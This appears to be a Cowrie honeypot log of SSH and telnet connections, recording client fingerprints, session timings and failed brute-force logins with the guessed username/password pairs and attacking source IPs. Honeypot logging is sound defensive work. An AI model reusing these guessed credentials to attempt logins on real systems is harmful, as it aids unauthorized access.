{"eventid":"cowrie.login.failed","username":"root","password":"adidas228","message":"login attempt [root/adidas228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:40.089449Z","src_ip":"37.233.85.71","session":"df5dfb645fca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:41.192003Z","src_ip":"37.233.85.71","session":"df5dfb645fca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52228,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb1cdcb84c23","protocol":"telnet","message":"New connection: 135.148.14.151:52228 (159.203.135.109:23) [session: cb1cdcb84c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:41.399029Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":46176,"dst_ip":"159.203.135.109","dst_port":22,"session":"2babda10ef48","protocol":"ssh","message":"New connection: 193.228.128.84:46176 (159.203.135.109:22) [session: 2babda10ef48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:47.196390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:47.201097Z","src_ip":"193.228.128.84","session":"2babda10ef48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:47.303692Z","src_ip":"193.228.128.84","session":"2babda10ef48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3usvjl6x1r","message":"login attempt [root/3usvjl6x1r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:47.611120Z","src_ip":"193.228.128.84","session":"2babda10ef48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:48.716709Z","src_ip":"193.228.128.84","session":"2babda10ef48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41768,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbada303f782","protocol":"ssh","message":"New connection: 103.15.222.183:41768 (10.17.0.5:22) [session: cbada303f782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:51.129293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:51.133676Z","src_ip":"103.15.222.183","session":"cbada303f782","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:51.380088Z","src_ip":"103.15.222.183","session":"cbada303f782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kukareku","message":"login attempt [root/kukareku] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:52.113407Z","src_ip":"103.15.222.183","session":"cbada303f782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:53.360908Z","src_ip":"103.15.222.183","session":"cbada303f782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.07147550582886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:48:54.347139Z","src_ip":"135.148.14.151","session":"9948d45f5ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38934,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d9abd9f3d3","protocol":"telnet","message":"New connection: 135.148.14.151:38934 (159.203.135.109:23) [session: 52d9abd9f3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:05.839682Z"}
{"eventid":"cowrie.session.closed","duration":35.952022552490234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:17.350920Z","src_ip":"135.148.14.151","session":"cb1cdcb84c23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49664,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b9fc041f25a","protocol":"telnet","message":"New connection: 135.148.14.151:49664 (159.203.135.109:23) [session: 3b9fc041f25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:30.384842Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50616,"dst_ip":"159.203.135.109","dst_port":23,"session":"23bff6f27d0f","protocol":"telnet","message":"New connection: 135.148.14.151:50616 (159.203.135.109:23) [session: 23bff6f27d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:34.507699Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52584,"dst_ip":"159.203.135.109","dst_port":23,"session":"17d8f33ebcff","protocol":"telnet","message":"New connection: 135.148.14.151:52584 (159.203.135.109:23) [session: 17d8f33ebcff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:36.772719Z"}
{"eventid":"cowrie.session.closed","duration":34.379164934158325,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:40.218714Z","src_ip":"135.148.14.151","session":"52d9abd9f3d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":44078,"dst_ip":"159.203.135.109","dst_port":22,"session":"69216936e14f","protocol":"ssh","message":"New connection: 197.221.232.44:44078 (159.203.135.109:22) [session: 69216936e14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:45.784071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:45.789464Z","src_ip":"197.221.232.44","session":"69216936e14f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:46.032108Z","src_ip":"197.221.232.44","session":"69216936e14f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43222,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12c1ef048ef","protocol":"ssh","message":"New connection: 103.176.20.57:43222 (10.17.0.5:22) [session: f12c1ef048ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:46.179579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:46.183666Z","src_ip":"103.176.20.57","session":"f12c1ef048ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:46.433029Z","src_ip":"103.176.20.57","session":"f12c1ef048ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:47.030203Z","src_ip":"197.221.232.44","session":"69216936e14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"311277","message":"login attempt [root/311277] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:47.183106Z","src_ip":"103.176.20.57","session":"f12c1ef048ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56594,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be5f5cc5101","protocol":"telnet","message":"New connection: 135.148.14.151:56594 (159.203.135.109:23) [session: 0be5f5cc5101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:48.118963Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:48.276529Z","src_ip":"197.221.232.44","session":"69216936e14f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:48.435804Z","src_ip":"103.176.20.57","session":"f12c1ef048ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58600,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e353d255ae1","protocol":"telnet","message":"New connection: 135.148.14.151:58600 (159.203.135.109:23) [session: 3e353d255ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:49:50.800563Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b46e2aab2167","protocol":"telnet","message":"New connection: 135.148.14.151:60444 (159.203.135.109:23) [session: b46e2aab2167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:00.990777Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35744,"dst_ip":"159.203.135.109","dst_port":23,"session":"2303cbba51dd","protocol":"telnet","message":"New connection: 135.148.14.151:35744 (159.203.135.109:23) [session: 2303cbba51dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:02.718931Z"}
{"eventid":"cowrie.session.closed","duration":34.60276556015015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:04.987480Z","src_ip":"135.148.14.151","session":"3b9fc041f25a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.313336610794067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:05.820930Z","src_ip":"135.148.14.151","session":"23bff6f27d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33444786071777,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:12.107068Z","src_ip":"135.148.14.151","session":"17d8f33ebcff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41064,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e28fc86fb5","protocol":"telnet","message":"New connection: 135.148.14.151:41064 (159.203.135.109:23) [session: f8e28fc86fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:16.588687Z"}
{"eventid":"cowrie.session.closed","duration":37.883771896362305,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:26.002604Z","src_ip":"135.148.14.151","session":"0be5f5cc5101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.392871141433716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:27.193332Z","src_ip":"135.148.14.151","session":"3e353d255ae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18413066864014,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:33.174798Z","src_ip":"135.148.14.151","session":"b46e2aab2167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.67183446884155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:37.390641Z","src_ip":"135.148.14.151","session":"2303cbba51dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683717250823975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:47.272271Z","src_ip":"135.148.14.151","session":"f8e28fc86fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57892,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bfc5e717c63","protocol":"telnet","message":"New connection: 135.148.14.151:57892 (159.203.135.109:23) [session: 8bfc5e717c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:50:57.973152Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36230,"dst_ip":"159.203.135.109","dst_port":23,"session":"c70968ba9992","protocol":"telnet","message":"New connection: 135.148.14.151:36230 (159.203.135.109:23) [session: c70968ba9992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:13.014474Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42252,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd8cde8993e8","protocol":"telnet","message":"New connection: 135.148.14.151:42252 (159.203.135.109:23) [session: bd8cde8993e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:27.178751Z"}
{"eventid":"cowrie.session.closed","duration":33.003836154937744,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:30.976868Z","src_ip":"135.148.14.151","session":"8bfc5e717c63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":35254,"dst_ip":"159.203.135.109","dst_port":22,"session":"a357ffea036c","protocol":"ssh","message":"New connection: 197.221.232.44:35254 (159.203.135.109:22) [session: a357ffea036c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:37.781917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:37.786717Z","src_ip":"197.221.232.44","session":"a357ffea036c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:38.033710Z","src_ip":"197.221.232.44","session":"a357ffea036c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@12","message":"login attempt [root/Admin@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:39.054463Z","src_ip":"197.221.232.44","session":"a357ffea036c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:40.308654Z","src_ip":"197.221.232.44","session":"a357ffea036c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.595706939697266,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:51:49.610087Z","src_ip":"135.148.14.151","session":"c70968ba9992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46432,"dst_ip":"159.203.135.109","dst_port":23,"session":"c75dde430ab8","protocol":"telnet","message":"New connection: 135.148.14.151:46432 (159.203.135.109:23) [session: c75dde430ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:29.072811Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43726,"dst_ip":"159.203.135.109","dst_port":23,"session":"b209cd97f028","protocol":"telnet","message":"New connection: 135.148.14.151:43726 (159.203.135.109:23) [session: b209cd97f028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:30.079073Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47900,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a95612afe1a","protocol":"telnet","message":"New connection: 135.148.14.151:47900 (159.203.135.109:23) [session: 9a95612afe1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:33.313126Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50372,"dst_ip":"159.203.135.109","dst_port":23,"session":"451d5632f93e","protocol":"telnet","message":"New connection: 135.148.14.151:50372 (159.203.135.109:23) [session: 451d5632f93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:37.749419Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41096,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8bb80311638","protocol":"ssh","message":"New connection: 103.82.132.16:41096 (159.203.135.109:22) [session: e8bb80311638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:52:56.357548Z"}
